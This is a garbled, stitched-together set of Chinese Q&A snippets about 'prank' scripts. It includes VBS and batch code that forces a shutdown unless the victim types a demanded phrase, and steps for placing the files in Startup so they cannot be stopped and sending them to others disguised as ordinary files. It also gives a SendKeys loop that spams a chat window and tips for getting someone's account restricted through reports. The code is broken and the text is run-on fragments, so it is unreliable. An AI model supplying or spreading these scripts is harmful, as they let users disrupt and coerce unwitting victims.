把上面的代码复制到记事本里，把后缀名改成VBE不要自己实验，有时会被杀毒的拦截 若把下列内容从中删掉，则对方无论如何都要重启了30秒，时间可自己改，包括说的内容dim WSHshell set WSHshell = wscript；复制代码一个整人的小代码，“说我是猪就不关机” 把上面的代码复制到记事本里，把后缀名改成VBE 把它放到开始启动里 别人就算调出任务管理器也关不掉 注销也不行 本回答由网友推荐 举报 答案纠错 评论 6 3。

下面的复制到记事本，另存为的时候选所有文件最后保存为zrvbeon error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是；2再点开口令红包界面，将刚刚复制的表情，复制进去，点删除，注意点一次，继续复制设置口令里的代码3进入聊天页面，将第二步的代码复制下来，按回车，继续复制刚刚按过回车的代码，把这个代码复制到口令就可以了；文本文档把下面的你想要的代码复制 到文本文档 好 保存 把名字 txt 改成 vbs 就 OK vbs 整人代码大集合 一你打开好友的聊天对话框 ，然后记下在你 里好友的昵称 ，把下面代码里的 xx 替换一下 ，就可以自；2另外让你朋友在聊天窗口举报他，选择对方脏话聊天记录作为证据提交，运气好能限制对方登陆 3这个就是黑对方了先加对方好友，最好好几个人都加他，先别暴露然后你和他聊天，复制一堆表情的代码，比如 mg。

shutdown t 1 s 复制进记事本，重命名为 xxx你想要的名字bat 然后弹出的框框选是，再压缩下，传给别人 LZ请采纳；打开一个记事本，把代码输入进去，然后把格式改成VBS然后一保存，OK啦样子是中间有一个蓝色卷轴接着，只要把这个做好的VBS文件发给他，就可以了，不用 再动别的，只要静静等待他被整例外话我劝你还是别发；On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。

打开一个记事本，把代码输入进去，然后把格式改成VBS然后一保存，OK啦样子是中间有一个蓝色卷轴接着，只要把这个做好的VBS文件发给他，就可以了，不用再动别的，只要静静等待他被整例外话我劝你还是别发。

将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 vbe 把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧用传送文件发送给他。

上面的文字可以随便改，不印象效果如果发给MM，你可以逼她说“我爱你”方法是把上面的“客是好网站”改成“快说我爱你” 内容来自 第二步，将记事本文件重命名为 ***VBE文件名可以任意起，如“美女VBE”；无聊···用VBS吧，整人的话VBS有更高的效率而且容易学。